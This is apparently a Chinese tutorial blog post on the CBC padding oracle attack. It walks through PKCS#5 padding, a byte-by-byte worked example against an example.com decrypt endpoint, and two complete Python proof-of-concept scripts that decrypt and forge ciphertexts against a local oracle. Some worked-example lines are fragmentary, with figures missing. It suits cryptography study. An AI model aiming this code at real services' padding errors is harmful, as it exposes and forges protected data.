讲讲Padding Oracle Attack,之前在ctf中遇到过一次,但直接拿了网上找的exp就没仔细学,现在回头看看学学
Padding Oracle Attack是比较早的一种漏洞利用方式了,在2011年的Pwnie Rewards中被评为”最具有价值的服务器漏洞“。该漏洞主要是由于设计使用的场景不当,导致可以利用密码算法通过”旁路攻击“被破解,并不是对算法的破解
利用该漏洞可以破解出密文的明文以及将明文加密成密文,该漏洞存在条件如下:
在密码学中,分组加密(Block Cipher),又称分块加密或块密码,是一种对称密钥算法,如3DES、AES在加密时一般都会采用。它将明文分成多个等长的模块(block),如常见的64bit、128bit、256bit,使用确定的算法和对称密钥对每组分别加密解密
分组带来一个问题,就是明文不可能恰好是block的整数倍,对于不能整除剩余的部分数据就涉及到填充操作。最常用的填充操作有PKCS#5:在最后一个block中将不足的bit位数作为bit值进行填充,缺少n个bit,就填充n个0x0n,例如最后一个分组(block)缺少3个bit,就填充3个0x03到结尾。在解密时会校验明文的填充是否满足该规则,如果是以N个0x0N结束,则意味着解密操作执行成功,否则解密操作失败
看个64bit的block的例子如下,请注意,每个字符串都至少有1个字节的填充数据:
分组密码算法有四种模式,分别是ECB、CBC、CFB和OFB,其中CBC是IPSEC的标准做法
CBC(Cipher Block Chaining)主要是引入一个初始化向量(Initialization Vector,IV)来加强密文的随机性,保证相同明文通过相同的密钥加密的结果不一样
这是一种分组链接模式,目的是为了使原本独立的分组密码加密过程形成迭代,使每次加密的结果影响到下一次加密。这行可以强化加密算法的"敏感性",即实现所谓的"雪崩效应",在香浓理论中这就是"扰乱原则"
如图所示:
由于初始化向量(IV)每次加密都是随机的,所以IV经常会被放在密文的前面,解密时先获取前面的IV,再对后面的密文进行解密
如图所示:
这个攻击的根源是明文分组和填充,同时应用程序对于填充异常的响应可以作为反馈,例如请求http://www.example.com/decrypt.jsp?data=0000000000000000EFC2807233F9D7C097116BB33E813C5E
,当攻击者在篡改data值时会有以下不同的响应:
攻击者只需要关注解密成功和解密失败的响应即可(第三种属于解密成功的响应),即可完成攻击
以一个例子进行猜解,假设有这样一个应用,请求如下:
http://www.example.com/decrypt.jsp?data=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
即client给server提交的参数为7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
才能请求正常的服务
加密过程
解密过程
关注上图绿色圈起来的部分,解密之后的最后一个数据块,其结尾应该包含正确的填充序列。如果这点没有满足,那么加/解密程序就会抛出一个填充异常。Padding Oracle Attack的关键就是利用程序是否抛出异常来判断padding是否正确。
现在让我们来看看在不知道明文的情况下,如何猜解出明文。首先我们将密文分组,前面8个字节为初始化向量,后面16个字节为加密后的数据:
初始化向量: 7B 21 6A 63 49 51 17 0F 第一组密文: F8 51 D6 CC 68 FC 95 37 第二组密文: 85 87 95 A2 8E D4 AA C6
我们来看如何通过构造前面初始向量来破解第一组密文:http://www.example.com/decrypt.jsp?data=7B216A634951170FF851D6CC68FC9537
http://www.example.com/decrypt.jsp?data=00000000000000000F851D6CC68FC9537
,服务器势必会解密失败,返回HTTP 500,那是因为在对数据进行解密的时候,明文最后一个字节的填充是0x3D
,不满足填充规则,校验失败,此时示意图如下:0x01~0xFF
递增,直到解密的明文最后一个字节为0x01
,成为一个正确的padding,当初始化向量为000000000000003C
时,成功了,服务器返回HTTP 200,解密示意图如下:0x3C
,最后一个填充字符为0x01
,则我们能通过XOR计算出,第一组密文解密后的中间值最后一个字节:0x01 xor 0x3C = 0x3D
;0x02 0x02
的场景,即存在2个填充字节,填充值为0x02
,此时我们已经知道了中间值得最后一位为0x3D
,计算出初始向量的最后一位为 0x3D xor 0x02 = 0x3F
, 即初始向量为0000000000000003F
,遍历倒数第二个字节从0x00~0xFF
,直到响应成功,猜解出中间值得后两个字节分别为 0x26 0x3D
,示例图如下:0x39 0x73 0x23 0x22 0x07 0x6A 0x26 0x3D xor 0x7B 0x21 0x6A 0x63 0x49 0x51 0x17 0x0F = BRIAN;12
继续破解第二组密文,第二组密文的IV向量是第一组密文,按照上述的逻辑构造第一组密文,即可破解出第二组明文
我们已经知道了中间值,那么只需传递指定的IV,就能制造任意想要的密文,如加密TEST
:
https://github.com/AonCyberLabs/PadBuster
""" Padding Oracle Attack POC(CBC-MODE) Author: axis(axis@ph4nt0m.org) http://hi.baidu.com/aullik5 2011.9 This program is based on Juliano Rizzo and Thai Duong's talk on Practical Padding Oracle Attack.(http://netifera.com/research/) For Education Purpose Only!!! This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. """ import sys # https://www.dlitz.net/software/pycrypto/ from Crypto.Cipher import * import binascii # the key for encrypt/decrypt # we demo the poc here, so we need the key # in real attack, you can trigger encrypt/decrypt in a complete blackbox env ENCKEY = 'abcdefgh' def main(args): print print "=== Padding Oracle Attack POC(CBC-MODE) ===" print "=== by axis ===" print "=== axis@ph4nt0m.org ===" print "=== 2011.9 ===" print ######################################## # you may config this part by yourself iv = '12345678' plain = 'aaaaaaaaaaaaaaaaX' plain_want = "opaas" # you can choose cipher: blowfish/AES/DES/DES3/CAST/ARC2 cipher = "blowfish" ######################################## block_size = 8 if cipher.lower() == "aes": block_size = 16 if len(iv) != block_size: print "[-] IV must be "+str(block_size)+" bytes long(the same as block_size)!" return False print "=== Generate Target Ciphertext ===" ciphertext = encrypt(plain, iv, cipher) if not ciphertext: print "[-] Encrypt Error!" return False print "[+] plaintext is: "+plain print "[+] iv is: "+hex_s(iv) print "[+] ciphertext is: "+ hex_s(ciphertext) print print "=== Start Padding Oracle Decrypt ===" print print "[+] Choosing Cipher: "+cipher.upper() guess = padding_oracle_decrypt(cipher, ciphertext, iv, block_size) if guess: print "[+] Guess intermediary value is: "+hex_s(guess["intermediary"]) print "[+] plaintext = intermediary_value XOR original_IV" print "[+] Guess plaintext is: "+guess["plaintext"] print if plain_want: print "=== Start Padding Oracle Encrypt ===" print "[+] plaintext want to encrypt is: "+plain_want print "[+] Choosing Cipher: "+cipher.upper() en = padding_oracle_encrypt(cipher, ciphertext, plain_want, iv, block_size) if en: print "[+] Encrypt Success!" print "[+] The ciphertext you want is: "+hex_s(en[block_size:]) print "[+] IV is: "+hex_s(en[:block_size]) print print "=== Let's verify the custom encrypt result ===" print "[+] Decrypt of ciphertext '"+ hex_s(en[block_size:]) +"' is:" de = decrypt(en[block_size:], en[:block_size], cipher) if de == add_PKCS5_padding(plain_want, block_size): print de print "[+] Bingo!" else: print "[-] It seems something wrong happened!" return False return True else: return False def padding_oracle_encrypt(cipher, ciphertext, plaintext, iv, block_size=8): # the last block guess_cipher = ciphertext[0-block_size:] plaintext = add_PKCS5_padding(plaintext, block_size) print "[*] After padding, plaintext becomes to: "+hex_s(plaintext) print block = len(plaintext) iv_nouse = iv # no use here, in fact we only need intermediary prev_cipher = ciphertext[0-block_size:] # init with the last cipher block while block > 0: # we need the intermediary value tmp = padding_oracle_decrypt_block(cipher, prev_cipher, iv_nouse, block_size, debug=False) # calculate the iv, the iv is the ciphertext of the previous block prev_cipher = xor_str( plaintext[block-block_size:block], tmp["intermediary"] ) #save result guess_cipher = prev_cipher + guess_cipher block = block - block_size return guess_cipher def padding_oracle_decrypt(cipher, ciphertext, iv, block_size=8, debug=True): # split cipher into blocks; we will manipulate ciphertext block by block cipher_block = split_cipher_block(ciphertext, block_size) if cipher_block: result = {} result["intermediary"] = '' result["plaintext"] = '' counter = 0 for c in cipher_block: if debug: print "[*] Now try to decrypt block "+str(counter) print "[*] Block "+str(counter)+"'s ciphertext is: "+hex_s(c) print # padding oracle to each block guess = padding_oracle_decrypt_block(cipher, c, iv, block_size, debug) if guess: iv = c result["intermediary"] += guess["intermediary"] result["plaintext"] += guess["plaintext"] if debug: print print "[+] Block "+str(counter)+" decrypt!" print "[+] intermediary value is: "+hex_s(guess["intermediary"]) print "[+] The plaintext of block "+str(counter)+" is: "+guess["plaintext"] print counter = counter+1 else: print "[-] padding oracle decrypt error!" return False return result else: print "[-] ciphertext's block_size is incorrect!" return False def padding_oracle_decrypt_block(cipher, ciphertext, iv, block_size=8, debug=True): result = {} plain = '' intermediary = [] # list to save intermediary iv_p = [] # list to save the iv we found for i in range(1, block_size+1): iv_try = [] iv_p = change_iv(iv_p, intermediary, i) # construct iv # iv = \x00...(several 0 bytes) + \x0e(the bruteforce byte) + \xdc...(the iv bytes we found) for k in range(0, block_size-i): iv_try.append("\x00") # bruteforce iv byte for padding oracle # 1 bytes to bruteforce, then append the rest bytes iv_try.append("\x00") for b in range(0,256): iv_tmp = iv_try iv_tmp[len(iv_tmp)-1] = chr(b) iv_tmp_s = ''.join("%s" % ch for ch in iv_tmp) # append the result of iv, we've just calculate it, saved in iv_p for p in range(0,len(iv_p)): iv_tmp_s += iv_p[len(iv_p)-1-p] # in real attack, you have to replace this part to trigger the decrypt program #print hex_s(iv_tmp_s) # for debug plain = decrypt(ciphertext, iv_tmp_s, cipher) #print hex_s(plain) # for debug # got it! # in real attack, you have to replace this part to the padding error judgement if check_PKCS5_padding(plain, i): if debug: print "[*] Try IV: "+hex_s(iv_tmp_s) print "[*] Found padding oracle: " + hex_s(plain) iv_p.append(chr(b)) intermediary.append(chr(b ^ i)) break plain = '' for ch in range(0, len(intermediary)): plain += chr( ord(intermediary[len(intermediary)-1-ch]) ^ ord(iv[ch]) ) result["plaintext"] = plain result["intermediary"] = ''.join("%s" % ch for ch in intermediary)[::-1] return result # save the iv bytes found by padding oracle into a list def change_iv(iv_p, intermediary, p): for i in range(0, len(iv_p)): iv_p[i] = chr( ord(intermediary[i]) ^ p) return iv_p def split_cipher_block(ciphertext, block_size=8): if len(ciphertext) % block_size != 0: return False result = [] length = 0 while length < len(ciphertext): result.append(ciphertext[length:length+block_size]) length += block_size return result def check_PKCS5_padding(plain, p): if len(plain) % 8 != 0: return False # convert the string plain = plain[::-1] ch = 0 found = 0 while ch < p: if plain[ch] == chr(p): found += 1 ch += 1 if found == p: return True else: return False def add_PKCS5_padding(plaintext, block_size): s = '' if len(plaintext) % block_size == 0: return plaintext if len(plaintext) < block_size: padding = block_size - len(plaintext) else: padding = block_size - (len(plaintext) % block_size) for i in range(0, padding): plaintext += chr(padding) return plaintext def decrypt(ciphertext, iv, cipher): # we only need the padding error itself, not the key # you may gain padding error info in other ways # in real attack, you may trigger decrypt program # a complete blackbox environment key = ENCKEY if cipher.lower() == "des": o = DES.new(key, DES.MODE_CBC,iv) elif cipher.lower() == "aes": o = AES.new(key, AES.MODE_CBC,iv) elif cipher.lower() == "des3": o = DES3.new(key, DES3.MODE_CBC,iv) elif cipher.lower() == "blowfish": o = Blowfish.new(key, Blowfish.MODE_CBC,iv) elif cipher.lower() == "cast": o = CAST.new(key, CAST.MODE_CBC,iv) elif cipher.lower() == "arc2": o = ARC2.new(key, ARC2.MODE_CBC,iv) else: return False if len(iv) % 8 != 0: return False if len(ciphertext) % 8 != 0: return False return o.decrypt(ciphertext) def encrypt(plaintext, iv, cipher): key = ENCKEY if cipher.lower() == "des": if len(key) != 8: print "[-] DES key must be 8 bytes long!" return False o = DES.new(key, DES.MODE_CBC,iv) elif cipher.lower() == "aes": if len(key) != 16 and len(key) != 24 and len(key) != 32: print "[-] AES key must be 16/24/32 bytes long!" return False o = AES.new(key, AES.MODE_CBC,iv) elif cipher.lower() == "des3": if len(key) != 16: print "[-] Triple DES key must be 16 bytes long!" return False o = DES3.new(key, DES3.MODE_CBC,iv) elif cipher.lower() == "blowfish": o = Blowfish.new(key, Blowfish.MODE_CBC,iv) elif cipher.lower() == "cast": o = CAST.new(key, CAST.MODE_CBC,iv) elif cipher.lower() == "arc2": o = ARC2.new(key, ARC2.MODE_CBC,iv) else: return False plaintext = add_PKCS5_padding(plaintext, len(iv)) return o.encrypt(plaintext) def xor_str(a,b): if len(a) != len(b): return False c = '' for i in range(0, len(a)): c += chr( ord(a[i]) ^ ord(b[i]) ) return c def hex_s(str): re = '' for i in range(0,len(str)): re += "\\x"+binascii.b2a_hex(str[i]) return re if __name__ == "__main__": main(sys.argv)
poa.py
#!/usr/bin/env python from hexdump import hexdump from Crypto.Cipher import AES import IPython plain = b"Hello World! MTDP! RedTeam! 23333" class POA(object): KEY = b"1234567890abcdef" IV = b"0102030405060708" @classmethod def __pad(cls, text: bytes): """PKCS7 padding""" text_length = len(text) amount_to_pad = AES.block_size - (text_length % AES.block_size) if amount_to_pad == 0: amount_to_pad = AES.block_size pad = chr(amount_to_pad).encode() return text + pad * amount_to_pad @classmethod def __unpad(cls, text: bytes): pad = text[-1] _pad = text[-pad:] for i in _pad: if pad != i: raise Exception("Error Padding! - %s" % _pad) return text[:-pad] @classmethod def encrypt(cls, plain: bytes): pad_plain = cls.__pad(plain) aes = AES.new(mode=AES.MODE_CBC, key=cls.KEY, iv=cls.IV) cipher = aes.encrypt(pad_plain) hexdump(cipher) return cipher @classmethod def decrypt(cls, cipher: bytes): aes = AES.new(mode=AES.MODE_CBC, key=cls.KEY, iv=cls.IV) pad_plain = aes.decrypt(cipher) return cls.__unpad(pad_plain) @classmethod def decrypt_without_result(cls, cipher: bytes): try: cls.decrypt(cipher) return True except Exception as e: # print(e) return False def test(): return POA.encrypt(plain) if __name__ == "__main__": cipher = test() plain = POA.decrypt(cipher) print(plain) IPython.embed()
poa_attack.py
#!/usr/bin/env python3 import pdb from poa import test, POA from Crypto.Cipher import AES import IPython class PaddingOracleAttack(object): def __init__(self, cipher, iv): self.cipher = cipher # 把密文分割成列表,每个列表元素16字节 self.cipher_lst = self.split_block(self.cipher) # 解密的中间值 self.mid_lst = [self.brute_middle(self.cipher_lst[-1])] # 存储计算出来的明文 self.plain_lst = [[] for _ in self.cipher_lst] @classmethod def split_block(cls, cipher): cipher_list = [] for i in range(0, len(cipher), 16): cipher_list.append(cipher[i: i + 16]) return cipher_list def calc_new_tail(self, tail, idx): new_tail = b"" for t in tail: _tail = t ^ (idx - 1) ^ idx new_tail += _tail.to_bytes(1, byteorder="big") return new_tail def brute_middle(self, cipher_line): '''暴力破解解密的中间值''' tail = b"" mid_lst = [] # 从pad 为0x01开始 到 0x10 for pad in range(1, 17): # 计算新的pad尾部,因为每计算出来一个pad,再往前计算新的pad的时候,尾部的每一个值异或出来都要放大1位。 tail = self.calc_new_tail(tail, pad) find_pad = False for i in range(0, 256): # 形成2个密文块 cipher = b"\x00" * (16 - pad) + i.to_bytes(1, byteorder="big") + tail + cipher_line if POA.decrypt_without_result(cipher): # print("[!] Cipher - %s" % cipher) find_pad = True tail = i.to_bytes(1, byteorder="big") + tail mid_chr = i ^ pad mid_lst.insert(0, mid_chr) if not find_pad: raise Exception("Error not find pad!") return bytes(mid_lst) @classmethod def __pad(cls, text: bytes): """PKCS7 padding""" text_length = len(text) amount_to_pad = AES.block_size - (text_length % AES.block_size) if amount_to_pad == 0: amount_to_pad = AES.block_size pad = chr(amount_to_pad).encode() return text + pad * amount_to_pad def fake(self, plain, cipher=None, mid=None): '''伪造 :plain: 要伪造的明文 :last_cipher: 一个密文块 :last_mid: 密文块解密出来的中间值 ''' pad_plain = self.__pad(plain) plain_lst = self.split_block(pad_plain) mid = mid if mid else self.mid_lst[-1] cipher = [cipher if cipher else self.cipher_lst[-1]] # 从最后开始计算 for plain in plain_lst[::-1]: need_iv = b"" for idx in range(len(plain)): _m = mid[idx] _p = plain[idx] need_iv += (_m ^ _p).to_bytes(1, byteorder="big") mid = self.brute_middle(need_iv) cipher.insert(0, need_iv) return cipher[0], b''.join(cipher[1:]) def decrypt(self): '''解密''' # 从最后开始计算 self.mid_lst = [] for _idx in range(len(self.cipher_lst), 0, -1): line_idx = _idx - 1 cipher_line = self.cipher_lst[line_idx] if line_idx >= 1: # 获取上一行密文数据,因为每一行的明文加密之前需要与上一行的密文异或 p_cipher_line = self.cipher_lst[line_idx - 1] else: # 如果是第一行,则其与IV异或 p_cipher_line = iv _mid = self.brute_middle(cipher_line) self.mid_lst.insert(0, _mid) for idx, _m in enumerate(_mid): plain_chr = _m ^ p_cipher_line[idx] self.plain_lst[line_idx].append(plain_chr) plain = b"" for p in self.plain_lst: plain += bytes(p) return plain if __name__ == "__main__": cipher = test() # 获取密文 iv = POA.IV # 获取初始化向量 poa_atck = PaddingOracleAttack(cipher, iv) new_iv, new_cipher = poa_atck.fake(b"wo ai beijing tianan men!") plain = poa_atck.decrypt() IPython.embed()
经典通过错误响应的反馈进行的攻击
参考: